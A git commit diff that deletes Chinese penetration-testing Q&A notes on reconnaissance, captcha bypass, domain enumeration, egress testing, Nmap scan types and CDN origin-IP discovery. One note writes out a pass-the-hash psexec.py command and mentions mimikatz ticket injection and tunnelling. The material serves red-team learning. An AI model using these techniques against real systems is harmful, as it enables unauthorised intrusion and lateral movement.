删除多余文件
This commit is contained in:
duckpigdog
File diff suppressed because one or more lines are too long
@@ -1,73 +0,0 @@
|
||||
### 如何处理子域名爆破的泛解析问题
|
||||
|
||||
**1. 泛解析的探测与识别**
|
||||
|
||||
在进行子域名爆破之前，第一步是确定目标域名是否开启了泛解析
|
||||
|
||||
**操作方法：**
|
||||
|
||||
1. **随机生成一个不存在的子域名**：例如，`random-string-123.example.com`。这个字符串要足够随机且复杂，以确保它不可能是真实存在的子域名
|
||||
2. **对其进行 DNS 查询**：使用 `ping`、`dig` 或 `nslookup` 等命令来查询其 IP 地址
|
||||
3. **记录返回的 IP 地址**：如果返回了一个 IP 地址，那么这个地址很可能就是泛解析的地址
|
||||
|
||||
为了提高准确性，你可以多生成几个随机子域名并重复上述步骤。如果它们都解析到相同的 IP 地址，那么就可以确认泛解析已开启，且你已经找到了泛解析的 IP 地址
|
||||
|
||||
|
||||
|
||||
**2. 爆破过程中的泛解析过滤**
|
||||
|
||||
确认泛解析后，在进行子域名爆破时，你需要过滤掉所有解析到泛解析 IP 地址的结果
|
||||
|
||||
**操作方法：**
|
||||
|
||||
1. **使用专门的工具**：许多现代的子域名爆破工具，如 **Subfinder**、**Massdns**、**Amas** 等，都内置了泛解析过滤功能。它们会在爆破前自动进行泛解析检测，并在爆破过程中自动过滤掉泛解析结果
|
||||
2. **手动处理（脚本化）**：如果你使用的是不具备自动过滤功能的工具，或者想自己编写脚本，可以采用以下策略：
|
||||
- **第一步：获取 IP 列表**
|
||||
- 运行你的爆破工具，例如 `dnsrecon` 或 `fierce`，并将所有解析出的子域名及其 IP 地址保存到一个文件中
|
||||
- **第二步：过滤泛解析**
|
||||
- 编写一个简单的脚本（Python、Bash 等）
|
||||
- 遍历文件中的每一行数据（`子域名 IP`）
|
||||
- 对比每个 IP 地址，如果它等于之前探测到的泛解析 IP 地址，就将其所在的行删除或标记
|
||||
- 最后，你剩下的就是非泛解析的、真实存在的子域名
|
||||
|
||||
**一个简单的 Python 脚本示例：**
|
||||
|
||||
```python
|
||||
import sys
|
||||
|
||||
def filter_wildcard(input_file, wildcard_ip):
|
||||
"""
|
||||
过滤包含泛解析 IP 的子域名
|
||||
"""
|
||||
try:
|
||||
with open(input_file, 'r') as f:
|
||||
lines = f.readlines()
|
||||
|
||||
filtered_domains = []
|
||||
for line in lines:
|
||||
parts = line.strip().split()
|
||||
if len(parts) >= 2:
|
||||
domain, ip = parts[0], parts[1]
|
||||
if ip != wildcard_ip:
|
||||
filtered_domains.append(domain)
|
||||
|
||||
return filtered_domains
|
||||
|
||||
except FileNotFoundError:
|
||||
print(f"Error: The file '{input_file}' was not found.")
|
||||
sys.exit(1)
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) != 3:
|
||||
print("Usage: python filter_domains.py <input_file> <wildcard_ip>")
|
||||
sys.exit(1)
|
||||
|
||||
input_file = sys.argv[1]
|
||||
wildcard_ip = sys.argv[2]
|
||||
|
||||
real_domains = filter_wildcard(input_file, wildcard_ip)
|
||||
|
||||
print("Found the following real subdomains:")
|
||||
for domain in real_domains:
|
||||
print(domain)
|
||||
```
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,28 +0,0 @@
|
||||
### 登录验证码怎么绕过
|
||||
|
||||
**1. 验证码本身的设计缺陷**
|
||||
|
||||
很多验证码系统本身存在漏洞，这是最容易利用的突破口
|
||||
|
||||
- **万能验证码或静态验证码：** 有些开发者为了方便测试，会设置一个固定的“万能验证码”，比如 `1234` 或 `abcd`。或者验证码每次刷新都是一样的。这使得攻击者可以轻松地在每次登录尝试时都使用这个固定的值
|
||||
- **验证码可重复利用：** 正常情况下，验证码使用一次后就应该失效。如果验证码可以重复使用，攻击者就可以通过一次有效的请求获取一个验证码，然后在多次请求中重复使用它来尝试不同的密码
|
||||
- **验证码在客户端生成：** 尽管非常罕见，但有些不安全的实现是在前端（如JavaScript）生成验证码。这意味着攻击者可以直接在浏览器控制台中获取或修改验证码的值
|
||||
- **验证码不与会话绑定：** 验证码与用户会话（Session）没有正确绑定。攻击者可以先访问登录页面，获取一个验证码，然后用不同的会话（但使用同一个验证码）来尝试暴力破解，这使得验证码失去了它的防重放作用
|
||||
|
||||
|
||||
|
||||
**2. 暴力破解验证码**
|
||||
|
||||
如果验证码系统本身没有设计缺陷，攻击者可能会尝试通过技术手段识别验证码
|
||||
|
||||
- **简单验证码的图像识别：** 对于那些扭曲度低、背景干扰少、字符集简单的验证码（如纯数字、4 位字母），攻击者可以使用 **OCR（光学字符识别）**工具或专门的验证码识别库（如 Tesseract、dlib）进行识别
|
||||
- **训练模型识别验证码：** 对于更复杂的验证码，攻击者可以收集大量的验证码图片，然后使用机器学习或深度学习技术（如卷积神经网络 CNN）来训练一个模型，以达到较高的识别成功率
|
||||
- **人工打码平台：** 这是最直接、最有效的方法。攻击者将验证码图片发送到专业的**打码平台**。这些平台背后有大量人工或半自动化工具，可以在极短时间内返回识别结果。这使得攻击者能够以较低的成本实现大规模的自动化攻击
|
||||
|
||||
|
||||
|
||||
**3. 绕过验证码逻辑**
|
||||
|
||||
- **API 接口漏洞：** 有些应用程序的登录过程并非只有一个接口。攻击者可能会发现，用于处理登录的 API 接口与用于获取验证码的接口是分开的。如果登录 API 接口没有强制要求验证码参数，或者在验证码参数为空时依然处理请求，那么攻击者可以直接绕过验证码步骤
|
||||
- **不安全的登录逻辑：** 攻击者可以尝试多次错误的登录，观察服务器的响应。如果服务器只在第一次登录尝试时返回验证码，或者在多次失败后才返回验证码，攻击者可以利用这个时间差进行快速尝试
|
||||
- **会话劫持或利用令牌：** 如果应用程序在登录过程中使用了某种令牌（Token），而验证码的验证没有正确与这个令牌关联，那么攻击者可以利用这个漏洞绕过验证码
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,55 +0,0 @@
|
||||
### 工作组环境下怎么判断是否有域环境
|
||||
|
||||
**1. 系统信息查看**
|
||||
|
||||
这是最直接、最常用的方法
|
||||
|
||||
- **GUI 界面**：
|
||||
- 右键点击“此电脑”或“我的电脑”，选择“属性”
|
||||
- 在弹出的窗口中，找到**“计算机名、域和工作组设置”**
|
||||
- 如果显示的是“工作组：WORKGROUP”或其他工作组名称，则很可能处于工作组环境
|
||||
- 如果显示的是“域：xxx.local”或类似域名，则表明当前计算机已加入域
|
||||
- **命令行（CMD/PowerShell）**：
|
||||
- 使用 `systeminfo` 命令。在命令输出中，寻找**“域”**或**“登录域”**字段。如果显示具体的域名，那就是域环境；如果显示“WORKGROUP”，那就是工作组
|
||||
- 使用`net config workstation`命令。该命令会显示当前计算机的配置信息，其中“工作站域”会明确列出当前是工作组还是域
|
||||
- 使用`whoami /all`命令。该命令会显示当前用户的详细信息，包括所属的域或工作组
|
||||
|
||||
|
||||
|
||||
**2. 网络和 DNS 配置**
|
||||
|
||||
域环境依赖于特定的网络配置，尤其是 DNS
|
||||
|
||||
- **DNS 服务器**：
|
||||
- 域环境中的客户端通常会将 DNS 服务器设置为域控制器或指向域控制器的 DNS 解析服务器
|
||||
- 你可以通过 `ipconfig /all` 命令查看当前主机的 DNS 服务器地址。如果 DNS 服务器地址指向内网IP，且该 IP 可能就是域控制器，那就值得怀疑。
|
||||
- 你可以尝试 `nslookup` 命令解析域名。在域环境中，客户端可以解析域控制器名称（例如：`nslookup dc.example.com`），而在工作组环境中通常无法解析
|
||||
- **Ping 域控制器**：
|
||||
- 如果你能猜测或已经获得了可能的域控制器名称，可以尝试 `ping` 该域名。如果 ping 通了，说明网络是连通的，并且 DNS 解析正常，很可能存在域环境
|
||||
- 例如：`ping test.local`
|
||||
|
||||
|
||||
|
||||
**3. 登录方式和用户账户**
|
||||
|
||||
用户登录界面的信息也会提供线索
|
||||
|
||||
- **登录界面**：
|
||||
- 在 Windows 登录界面，如果用户名输入框上方或下方显示**“登录到：xxx.local”**，说明可以登录到域
|
||||
- 工作组环境通常只显示本地计算机名
|
||||
- **用户账户**：
|
||||
- 在工作组环境中，本地用户通常是 `用户名`
|
||||
- 在域环境中，用户登录名通常是 `域名\用户名` 或 `用户名@域名`
|
||||
- 可以通过 `net user` 或 `whoami` 命令来查看当前用户的完整信息。如果显示 `test\administrator` 或`test.local\user`，那就很可能是域环境
|
||||
|
||||
|
||||
|
||||
**4. 特定的网络服务和端口**
|
||||
|
||||
域环境中的主机通常会开放一些特定的服务和端口，用于域内通信
|
||||
|
||||
- **Kerberos协议**：域环境使用Kerberos进行身份验证。攻击者可以扫描域控制器特有的端口（如TCP/UDP 88）
|
||||
- **LDAP协议**：域控制器提供LDAP服务（轻量目录访问协议），用于管理目录信息。端口通常是TCP 389或636（LDAPS）
|
||||
- **SMB协议**：虽然工作组和域都使用SMB，但在域环境中，通过`net view`等命令可以看到域内共享资源
|
||||
|
||||
通过端口扫描工具（如Nmap），可以快速发现目标主机是否开放了这些与域相关的服务端口
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,59 +0,0 @@
|
||||
### 只有一个网卡通过什么方式判断内网中是否有其他网段
|
||||
|
||||
**1. 路由表分析**
|
||||
|
||||
这是最直接、最快速的方式。当一个主机连接到网络时，它的操作系统会维护一个路由表，其中包含了到达不同目标网络的数据包应该通过哪个网关发送。通过分析这个路由表，我们可以发现除了默认网关之外，是否还有其他的内网路由规则
|
||||
|
||||
在 **Windows** 系统中，可以使用以下命令：
|
||||
|
||||
```cmd
|
||||
route print
|
||||
```
|
||||
|
||||
或者
|
||||
|
||||
```cmd
|
||||
netstat -rn
|
||||
```
|
||||
|
||||
这两个命令都会显示详细的路由信息。关注“活动路由”或“Persistent Routes”部分。如果发现除了`0.0.0.0`（默认网关）以外，还有其他`10.0.0.0/8`、`172.16.0.0/12`或`192.168.0.0/16`等私有地址网段的路由，那就表明存在通向这些网段的路径
|
||||
|
||||
在 **Linux/macOS** 系统中，可以使用以下命令：
|
||||
|
||||
```
|
||||
ip route show
|
||||
```
|
||||
|
||||
或者
|
||||
|
||||
```
|
||||
netstat -r
|
||||
```
|
||||
|
||||
同样，检查输出结果中是否有指向其他内网网段的路由条目。例如，你可能会看到类似于`192.168.2.0/24 via 192.168.1.1 dev eth0`的条目，这说明存在一个到`192.168.2.0`网段的路由
|
||||
|
||||
|
||||
|
||||
**2. ARP 缓存表分析**
|
||||
|
||||
**ARP**（Address Resolution Protocol）用于将IP地址解析为物理MAC地址。当主机与同一局域网内的其他设备通信时，它会将对应的IP-MAC映射关系存储在**ARP缓存表**中。通过查看这个缓存表，我们可以发现哪些主机是活跃的
|
||||
|
||||
使用以下命令来查看：
|
||||
|
||||
- **Windows**：`arp -a`
|
||||
- **Linux/macOS**：`arp -n`
|
||||
|
||||
如果你的ARP缓存表中出现了不同网段的IP地址，比如你当前IP是`192.168.1.100`，但缓存表中出现了`192.168.2.1`的条目，这可能是一个网络设备（如路由器或三层交换机）的IP地址，它负责连接到另一个网段
|
||||
|
||||
|
||||
|
||||
**3. DNS 和 WINS 服务查询**
|
||||
|
||||
**DNS**（域名系统）和 **WINS**（Windows Internet Name Service）在内部网络中扮演着关键角色。内网中的主机通常会依赖这些服务来解析主机名。通过查询这些服务，我们可以发现属于其他网段的主机
|
||||
|
||||
- **DNS 查询**：
|
||||
- 在Windows上，使用`nslookup`或`dig`命令
|
||||
- 例如：`nslookup -type=any example.local`
|
||||
- 如果能查询到属于不同网段的A记录（主机名-IP地址映射），那就能确认存在其他网段
|
||||
- **WINS 查询**：
|
||||
- 在Windows上，可以使用`nbtstat -r`命令。它会显示通过广播或WINS服务器获取的NetBIOS名称解析统计信息。如果能看到不同网段的主机名，就说明存在其他网段
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,18 +0,0 @@
|
||||
### 说说 Webpack 信息泄露
|
||||
|
||||
**常见的泄露文件和表现形式**
|
||||
|
||||
- **`\*.js.map` 文件**: 这是最常见的`sourcemap`文件，例如 `main.bundle.js.map`。通过这些文件，可以还原出完整的源代码目录结构和内容
|
||||
- **源代码中的注释**: 开发过程中留下的注释，如TODO、FIXME、调试信息，甚至是一些硬编码的敏感信息
|
||||
- **前端路由和API接口地址**: `sourcemap`中会暴露所有前端路由配置，攻击者可以借此发现未公开的页面或接口
|
||||
- **环境变量和密钥**: 如果在前端代码中使用了`process.env`等方式读取了后端传递的环境变量，这些变量可能会被打包并泄露
|
||||
- **打包配置文件**: 一些不当的配置可能会导致`webpack.config.js`等文件也被泄露，从中可以获取更多项目结构和依赖信息
|
||||
|
||||
|
||||
|
||||
**渗透测试中的利用方法**
|
||||
|
||||
1. **发现目标**: 首先，通过浏览器或Burp Suite等工具访问目标网站，观察前端加载的`.js`文件，看是否存在`.map`文件。例如，如果存在`main.bundle.js`，尝试访问`main.bundle.js.map`
|
||||
2. **目录猜解**: 有时`sourcemap`文件没有直接暴露，但可以通过对`.js`文件的URL进行目录猜解。比如，如果`js`文件在`/static/js/`下，那么`sourcemap`可能也在这个目录下
|
||||
3. **使用自动化工具**: 有很多工具可以自动化这一过程。例如，使用`npm install -g reverse-sourcemap`安装的工具可以从`*.js.map`文件还原出源代码。此外，一些渗透测试框架如`Nuclei`也包含了专门针对Webpack信息泄露的扫描模板
|
||||
4. **手动分析**: 如果找到了`sourcemap`文件，下载下来并使用文本编辑器打开。`.map`文件是JSON格式，其中`sourcesContent`字段包含了原始的源代码内容，`sources`字段包含了原始的文件路径。通过分析这些字段，可以快速定位敏感信息
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,32 +0,0 @@
|
||||
### net group "Domain Admins" /domain 这条命令查询域内管理员没查到，那么可能出现了什么问题，怎么解决
|
||||
|
||||
**1. 权限问题**
|
||||
|
||||
这是最常见的原因。`net group "Domain Admins" /domain` 这条命令需要**域用户的身份**才能正确执行
|
||||
|
||||
- **问题所在**：你当前 Shell 所处的机器可能是一个工作组机器，或者你使用的是一个本地账户，没有通过认证来访问域控制器。即使你获得了 SYSTEM 权限，它也只是本地机器的最高权限，无法直接用来查询域内的资源
|
||||
|
||||
- **解决方案**：你需要获得一个**域用户的凭据**（用户名和密码/哈希）。然后通过以下方法进行认证：
|
||||
|
||||
- **哈希传递（Pass-the-Hash）**：如果手上有一个域用户的哈希，你可以使用 **`psexec.py`** 或 **`mimikatz`** 等工具，以该用户的身份在域内执行命令
|
||||
|
||||
```bash
|
||||
# 使用Impacket工具包
|
||||
psexec.py domain.local/user@dc_ip -hashes <哈希>
|
||||
```
|
||||
|
||||
- **Kerberos 票据注入**：如果手上有一个域用户的 Kerberos 票据（TGT），你可以使用 **`mimikatz`** 的 **`kerberos::ptt`** 命令将其注入到当前会话中，然后你的 Shell 就具备了访问域资源的权限
|
||||
|
||||
|
||||
|
||||
**2. 网络连接问题**
|
||||
|
||||
即使你拥有正确的权限，如果网络连接存在问题，命令也无法成功执行
|
||||
|
||||
- **问题所在**：你的机器可能无法直接与域控制器（DC）通信。这可能是因为：
|
||||
- **防火墙**：目标机器的防火墙阻止了 SMB/LDAP 协议的流量
|
||||
- **路由问题**：你的机器不在域所在的网络段，无法直接路由到 DC
|
||||
- **端口未开放**：DC 可能没有开放必要的端口，如 LDAP (389) 或 SMB (445)
|
||||
- **解决方案**：
|
||||
- **端口扫描**：使用 **`nmap`** 等工具扫描 DC 的 IP 地址，检查 389 (LDAP)、445 (SMB) 等端口是否开放
|
||||
- **端口转发/隧道**：如果你能访问域内的一台机器，但不能直接访问 DC，可以考虑使用端口转发工具，如 **`chisel`** 或 **`ssh -L`**，将 DC 的流量转发到你的本地机器，从而绕过防火墙或路由限制
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,8 +0,0 @@
|
||||
### 继上题，这条命令的本质究竟是去哪里查
|
||||
|
||||
**查询的详细过程**
|
||||
|
||||
1. **发出请求**：当你在一台域成员机器上执行 `net group "Domain Admins" /domain` 命令时，你的电脑会向配置的**域控制器**发送一个网络请求。这个请求是一个基于 **LDAP**（Lightweight Directory Access Protocol，轻量级目录访问协议）的查询，它包含了你想要查询的对象，也就是 `"Domain Admins"` 这个组
|
||||
2. **验证身份**：域控制器会首先验证你的身份。它会检查你当前所使用的账户（无论是用户账户还是机器账户）是否是域的一部分，并且是否有权限查询这个组的信息。如果你的账户是**域用户**，它通常就有权限执行这个查询
|
||||
3. **Active Directory 数据库查询**：验证通过后，域控制器会在它的 **Active Directory** 数据库中查找名为 `"Domain Admins"` 的安全组对象。Active Directory 是一个分层数据库，用于存储域内所有对象（用户、组、计算机等）的信息
|
||||
4. **返回结果**：找到这个组后，域控制器会从该组的属性中提取出所有**成员（members）**的信息，然后将这些信息打包成一个响应，返回给你的电脑。你的电脑随后会解析这个响应，并在命令行中显示出组成员的列表
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,70 +0,0 @@
|
||||
### 如何判断目标单位的机器是哪种协议出网
|
||||
|
||||
**1. 自动化扫描与端口探测**
|
||||
|
||||
这是最直接且高效的方法
|
||||
|
||||
- **使用自动化工具**：利用 **Nmap** 或 **`port-scan`** 这类工具，对目标内网机器或出网网段进行扫描
|
||||
- **常用端口与协议**：
|
||||
- **HTTP/HTTPS**（80/443）：这是最常见的出网协议。几乎所有企业都必须开放这两个端口以供员工浏览网页。这是一个非常好的 C2 通道选择
|
||||
- **DNS**（53）：如果 DNS 请求能够出网，那么你可以利用 DNS 隧道技术。这种方法非常隐蔽，因为 DNS 流量通常被认为是无害的
|
||||
- **SMTP/SMTPS**（25/465/587）：如果企业允许员工收发邮件，那么这些端口很可能出网
|
||||
- **FTP/FTPS**（20/21）：不常见，但如果开放了，也是一个很好的出网通道
|
||||
- **SSH**（22）：如果目标允许员工通过 SSH 远程访问服务器，那么这个端口很可能出网
|
||||
- **优点**：快速、自动化，能提供初步的端口开放信息
|
||||
- **缺点**：不一定能确定协议能否出网，因为端口开放可能只是用于内部服务
|
||||
|
||||
|
||||
|
||||
**2. 手动测试与验证**
|
||||
|
||||
自动化扫描后，你需要手动验证协议是否真的能出网
|
||||
|
||||
- **使用命令行工具**：
|
||||
|
||||
- **`ping`**：测试 ICMP 协议是否出网
|
||||
- **`telnet`** 或 **`nc` (netcat)**：测试 TCP 协议。例如，`telnet www.baidu.com 443` 或 `nc -vz www.baidu.com 443`。如果连接成功，说明 443 端口出网
|
||||
|
||||
- **利用编程语言**：
|
||||
|
||||
- **Python**：编写一个简单的 Python 脚本，尝试通过不同的协议向你的服务器发送请求
|
||||
|
||||
```python
|
||||
import socket
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(5)
|
||||
s.connect(('your_server_ip', 443))
|
||||
print("Port 443 is open")
|
||||
s.close()
|
||||
except Exception as e:
|
||||
print(f"Port 443 is closed: {e}")
|
||||
```
|
||||
|
||||
- **优点**：能精确验证某个端口是否出网，并能获得更详细的错误信息
|
||||
|
||||
|
||||
|
||||
**3. 基于 DNS 查询的隐蔽测试**
|
||||
|
||||
如果你无法通过常见的协议出网，DNS 是一个非常隐蔽的测试方法
|
||||
|
||||
- **原理**：即使防火墙非常严格，也必须允许 DNS 流量出网，否则员工将无法正常上网。你可以利用这个特性，通过 DNS 查询来判断出网情况
|
||||
- **操作步骤**：
|
||||
1. 在你的攻击服务器上，搭建一个 DNS 服务器，并配置一个域名，例如 `test.com`
|
||||
2. 在目标机器上，执行一个 DNS 查询命令，例如 `nslookup <随机字符串>.test.com`
|
||||
3. 回到你的 DNS 服务器，如果收到了这个 DNS 查询请求，就说明 DNS 协议出网。你甚至可以从 DNS 请求的源 IP 地址，判断是哪台机器发出的请求
|
||||
- **优点**：高度隐蔽，能绕过许多严格的防火墙规则
|
||||
|
||||
|
||||
|
||||
**4. 利用现有权限进行系统配置分析**
|
||||
|
||||
如果你已经通过其他漏洞（如钓鱼、弱口令等）获得了某台机器的权限，那么判断出网协议就变得更加容易
|
||||
|
||||
- **检查防火墙规则**：
|
||||
- **Windows**：`netsh advfirewall firewall show rule name=all` 或 `Get-NetFirewallRule`。这能直接告诉你哪些端口是出网的
|
||||
- **检查代理服务器**：
|
||||
- **Windows**：`netsh winhttp show proxy` 或检查浏览器的代理设置。许多公司要求所有出网流量必须通过一个代理服务器。在这种情况下，你需要配置你的 C2 通道去使用这个代理
|
||||
- **检查应用程序日志**：
|
||||
- 查看 Web 服务器、代理服务器或防火墙的日志。这些日志文件会记录所有出入流量，是判断出网协议的最佳来源
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,29 +0,0 @@
|
||||
### NSE 脚本原理
|
||||
|
||||
**1. NSE 脚本的运行机制**
|
||||
|
||||
NSE 的核心是一个脚本解释器，它运行用 **Lua 语言**编写的脚本。Nmap 会在扫描过程中加载并执行这些脚本，以扩展其核心功能。整个运行机制可以概括为以下几个步骤：
|
||||
|
||||
1. **脚本加载**：Nmap 在启动时，会根据你的命令行参数（如 `-sC` 或 `--script <脚本名>`），加载相应的 NSE 脚本。这些脚本文件通常位于 Nmap 的安装目录下的 `scripts` 文件夹中
|
||||
2. **事件触发**：NSE 脚本不会无缘无故地运行。它依赖于一系列的**事件触发器（Triggers）**，这些触发器会在 Nmap 的不同扫描阶段被激活
|
||||
- `pre-scan`：在任何主机扫描开始之前运行。通常用于一些全局性任务，如收集 DNS 信息
|
||||
- `host-scan`：在扫描每个主机时运行。通常用于对单个主机进行枚举或漏洞检测
|
||||
- `port-scan`：在扫描每个端口时运行。这是最常用的触发器，用于针对特定端口的服务进行探测，如 HTTP、FTP、SSH 等
|
||||
- `post-scan`：在所有主机扫描完成后运行。通常用于汇总结果或生成报告
|
||||
3. **脚本执行**：当一个事件被触发时，Nmap 会调用相应脚本中的**`action()` 函数**。这个函数包含了脚本要执行的核心逻辑
|
||||
4. **结果返回**：`action()` 函数执行完毕后，会将结果返回给 Nmap。Nmap 会将这些结果以标准的格式（如 XML、文本等）显示给用户
|
||||
|
||||
|
||||
|
||||
**2. 编写 NSE 脚本的核心结构**
|
||||
|
||||
一个典型的 NSE 脚本由以下几个关键部分组成：
|
||||
|
||||
1. **脚本描述（`description`）**：一个简短的字符串，描述脚本的功能
|
||||
2. **分类（`categories`）**：脚本的分类，如 `safe`（安全）、`vuln`（漏洞）、`auth`（认证）等。这些分类使得用户可以通过 `-sC` 或 `--script=safe` 等参数来批量运行某一类脚本
|
||||
3. **依赖关系（`dependencies`）**：如果脚本依赖于其他脚本，可以在这里声明
|
||||
4. **触发器（`hostrule`、`portrule` 等）**：指定脚本在什么条件下运行。例如，`portrule` 规定了脚本只在发现某个特定端口开放时才运行
|
||||
- `portrule = "tcp or udp"`：在所有 TCP 或 UDP 端口上运行
|
||||
- `portrule = "port:80"`：只在 80 端口上运行
|
||||
- `hostrule`：在整个主机上运行，不依赖于特定端口
|
||||
5. **主函数（`action()`）**：这是脚本的核心代码，包含了所有业务逻辑。在这个函数中，你可以使用 Nmap 提供的各种库函数（如 `http.get`、`nmap.set_port_state` 等），来完成网络交互和数据处理
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,30 +0,0 @@
|
||||
### Nmap 的 FIN 扫描和空扫描是什么
|
||||
|
||||
**1. FIN 扫描 (FIN Scan)**
|
||||
|
||||
- **命令**：`nmap -sF <target>`
|
||||
- **原理**：
|
||||
- FIN 扫描的原理基于 TCP 协议的 RFC 793 规范
|
||||
- 攻击者向目标端口发送一个只包含 **`FIN`**（Finish）标志位的 TCP 数据包
|
||||
- **如果端口是关闭的**：根据 TCP 协议规范，目标系统会回复一个带有 **`RST`**（Reset）标志位的 TCP 包，表示连接已重置
|
||||
- **如果端口是开放的**：根据 TCP 协议规范，目标系统会忽略这个包，**不回复任何信息**
|
||||
- **优点**：
|
||||
- **隐蔽性**：由于不进行完整的三次握手，许多基本的防火墙和 IDS 都不会记录这种连接尝试，从而使扫描行为更加隐蔽
|
||||
- **绕过状态防火墙**：一些状态防火墙只跟踪那些以 `SYN` 包开始的连接。由于 FIN 扫描不使用 `SYN` 包，因此可以绕过这类防火墙
|
||||
- **缺点**：
|
||||
- **Windows 兼容性**：FIN 扫描在许多非 Windows 系统（如 Linux、BSD）上表现良好，但在 Windows 系统上，即使端口是开放的，它也可能回复一个 `RST` 包，导致扫描结果不准确。这是因为 Windows 系统的 TCP/IP 栈实现与 RFC 规范略有不同
|
||||
|
||||
|
||||
|
||||
**2. 空扫描 (Null Scan)**
|
||||
|
||||
- **命令**：`nmap -sN <target>`
|
||||
- **原理**：
|
||||
- 空扫描的原理与 FIN 扫描类似，也基于 TCP 协议规范
|
||||
- 攻击者向目标端口发送一个**没有任何标志位**（`SYN`, `ACK`, `FIN`, `RST` 等）的 TCP 数据包
|
||||
- **如果端口是关闭的**：根据 TCP 协议规范，目标系统会回复一个带有 **`RST`** 标志位的 TCP 包
|
||||
- **如果端口是开放的**：根据 TCP 协议规范，目标系统会忽略这个包，**不回复任何信息**
|
||||
- **优点**：
|
||||
- **极度隐蔽**：由于发送的数据包没有任何标志位，空扫描比 FIN 扫描更具隐蔽性，因为数据包看起来像是损坏或无效的，许多 IDS 可能会直接忽略它
|
||||
- **缺点**：
|
||||
- **Windows 兼容性**：与 FIN 扫描一样，空扫描在 Windows 系统上同样表现不佳，即使端口开放，也可能收到 `RST` 回复，导致误报
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,23 +0,0 @@
|
||||
### 为什么要搜集目标单位的控股信息
|
||||
|
||||
**1. 股权穿透**
|
||||
|
||||
- **目标**：从目标单位的名称出发，找出其所有具有法律控制权的子公司或参股公司
|
||||
- **平台**：使用工商信息查询平台，如 **天眼查**、**企查查**、**爱企查**等
|
||||
- **操作**：
|
||||
1. 输入目标公司的**法定名称**
|
||||
2. 查看其 **“对外投资”** 或 **“股东信息”** 模块
|
||||
3. **核心筛选标准**：重点关注持股比例**超过 50%** 的子公司（绝对控股），这些子公司及其资产在法律上等同于目标单位的资产。即使持股比例较低，只要目标单位是发起人或有重大影响力，也应列为潜在资产
|
||||
|
||||
|
||||
|
||||
**2. ICP 备案反查**
|
||||
|
||||
一旦获得了子公司或关联公司的完整法定名称，就将其作为新的目标，进行数字资产的反查
|
||||
|
||||
- **目标**：通过子公司名称，找到其所有独立注册和运营的主域名
|
||||
- **平台**：**工业和信息化部政务服务平台（ICP 备案系统）**或第三方查询工具
|
||||
- **操作**：
|
||||
1. 输入**子公司的全称**或其**统一社会信用代码**
|
||||
2. 查询该主体名下所有已备案的 **ICP 备案号**
|
||||
3. **关键结果**：记录从这些备案号中反查到的所有**顶级域名**（如 `product-a.com`, `finance-svc.cn`）。这些就是你新发现的主域名资产
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,38 +0,0 @@
|
||||
### 如何绕过 CDN 查找真实 IP
|
||||
|
||||
**1. 子域名查询**
|
||||
|
||||
- **原理**: 很多时候，一个网站的主域名使用了 CDN，但其子域名（例如 `blog.example.com`、`ftp.example.com` 或 `mail.example.com`）却没有使用。这些子域名可能与主域名部署在同一个服务器上，或者在同一个 IP 段内。
|
||||
- **方法**:
|
||||
- 使用自动化工具（如 `Sublist3r`、`Amass`、`OneForAll`）进行大规模子域名扫描
|
||||
- 通过在线的子域名查询服务（如 **站长之家**、**VirusTotal**）进行查询
|
||||
- 然后对这些子域名进行 `ping` 或 `nslookup`，如果返回的 IP 地址与主域名不同，且多次查询结果稳定，就可能找到了真实 IP
|
||||
|
||||
|
||||
|
||||
**2. 邮件头信息**
|
||||
|
||||
- **原理**: 很多网站的邮件服务器（如 `SMTP`）与 Web 服务器部署在同一台机器上，而邮件服务器通常不使用 CDN
|
||||
- **方法**:
|
||||
- 尝试给目标网站的邮箱（如 `admin@example.com`）发送一封邮件
|
||||
- 在你的邮箱中查看这封邮件的**原始邮件头（Original Headers）**
|
||||
- 在邮件头中寻找 **`Received: from`** 字段。这个字段记录了邮件在传输过程中经过的服务器 IP 地址。通常，第一个 `Received: from` 后面的 IP 地址就是邮件服务器的真实 IP，而这个 IP 很可能就是网站的真实 IP
|
||||
|
||||
|
||||
|
||||
**3. 历史 DNS 记录查询**
|
||||
|
||||
- **原理**: 一个网站在上线 CDN 之前，其 DNS A 记录直接指向的就是真实 IP。一些服务会保存这些历史记录
|
||||
- **方法**:
|
||||
- 使用在线服务（如 **`SecurityTrails`**、**`WhoisXML API`** 或 **`ViewDNS`**）查询域名的历史 DNS 解析记录
|
||||
- 通过这些历史记录，你可以找到在 CDN 启用之前网站使用的真实 IP 地址
|
||||
|
||||
|
||||
|
||||
**4. SSL 证书查询**
|
||||
|
||||
- **原理**: SSL 证书可能会包含一些指向源站的信息，例如在某些情况下，证书颁发者会记录申请者的 IP 地址
|
||||
- **方法**:
|
||||
- 通过在线服务（如 **`Censys`**、**`Shodan`**）对目标域名进行 SSL 证书查询
|
||||
- 查看证书的 **`subjectAltName`** 字段，或者检查是否有其他关联信息泄露了真实 IP
|
||||
- 在某些情况下，如果目标网站使用了与源站 IP 绑定的证书，可以在 Shodan 等搜索引擎中直接搜索证书哈希或序列号来定位真实 IP
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,130 +0,0 @@
|
||||
### 怎么找边缘资产呢
|
||||
|
||||
**1. 证书关联法**
|
||||
|
||||
当一个组织为多个系统使用同一套 SSL/TLS 证书时，它们就共享了一个独特的数字指纹。
|
||||
|
||||
- **指纹**：SSL/TLS 证书的内容（如组织名称、证书颁发机构、证书序列号等）
|
||||
|
||||
- **方法**：
|
||||
|
||||
1. 找到目标**主站**或已知资产的 SSL/TLS 证书
|
||||
2. 提取证书中的**组织名称**、**颁发者**或**序列号**
|
||||
3. 在网络空间测绘平台（如 **Fofa**、**Censys** 或 **Hunter**）上，使用这些信息进行搜索
|
||||
|
||||
- **案例解析 (案例 1)**：
|
||||
|
||||
> IP资产未备案，用了和主站相同的证书
|
||||
|
||||
